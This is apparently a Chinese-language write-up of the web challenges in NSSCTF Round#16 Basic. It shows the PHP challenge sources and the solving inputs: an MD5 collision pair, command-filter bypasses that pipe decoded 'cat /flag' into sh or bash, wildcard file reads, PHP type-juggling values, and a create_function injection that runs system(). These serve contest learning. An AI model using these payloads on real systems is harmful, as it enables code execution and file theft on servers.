NSSCTF Round#16 Basic
Web
RCE但是没有完全RCE
<?php error_reporting(0); highlight_file(__file__); include('level2.php'); if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) { if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) { if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) { echo $level2; } else { echo "您!!!!!那么现在阁下又该如何应对呢"; } } else { echo "还在用传统方法????"; } } else { echo "来做做熟悉的MD5~"; }
|
需要绕过MD5的强等于,不能使用数组传参
md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
|
POST
<?php error_reporting(0); highlight_file(__FILE__); $shell = $_POST['shell']; $cmd = $_GET['cmd']; if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){ die("Hacker!!!!!!!!"); }
|
需要绕过字母,给一组绕过字母的payload:
1、echo Y2F0IC9mbGFn| base64 -d | sh #cat /flag
2、echo 636174202f666c6167 | xxd -r -p | bash #cat /flag16进制
3、通配符 more /[b-z][b-z][@-z][b-z]
4、a=g.php; cat fla$a
这里使用通配符就行

了解过PHP特性吗
<?php error_reporting(0); highlight_file(__FILE__); include("rce.php"); $checker_1 = FALSE; $checker_2 = FALSE; $checker_3 = FALSE; $checker_4 = FALSE; $num = $_GET['num']; if (preg_match("/[0-9]/", $num)) { die("no!!"); } if (intval($num)) { $checker_1 = TRUE; } if (isset($_POST['ctype']) && isset($_POST['is_num'])) { $ctype = strrev($_POST['ctype']); $is_num = strrev($_POST['is_num']); if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) { $checker_2 = TRUE; } } $_114 = $_GET['114']; $_514 = $_POST['514']; if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) { if (!is_numeric($_514) && $_514 > 9999999) { $checker_3 = TRUE; } } $arr4y = $_POST['arr4y']; if (is_array($arr4y)) { for ($i = 0; $i < count($arr4y); $i++) { if ($arr4y[$i] === "NSS") { die("no!"); } $arr4y[$i] = intval($arr4y[$i]); } if (array_search("NSS", $arr4y) === 0) { $checker_4 = TRUE; } } if ($checker_1 && $checker_2 && $checker_3 && $checker_4) { echo $rce; }
|
直接绕过就行,简单
GET
POST
ctype=IODZIEE&is_num=807016042&514=99999999999a&arr4y[]=0
|
绕过后就能去下一个php
<?php error_reporting(0); highlight_file(__FILE__); $nss=$_POST['nss']; $shell = $_POST['shell']; if(isset($shell)&& isset($nss)){ $nss_shell = create_function($shell,$nss); }
|
利用create_function()
函数创建匿名函数来代码注入
POST:
shell=&nss=;}system('cat /flag');/*
|
image-20240113175503533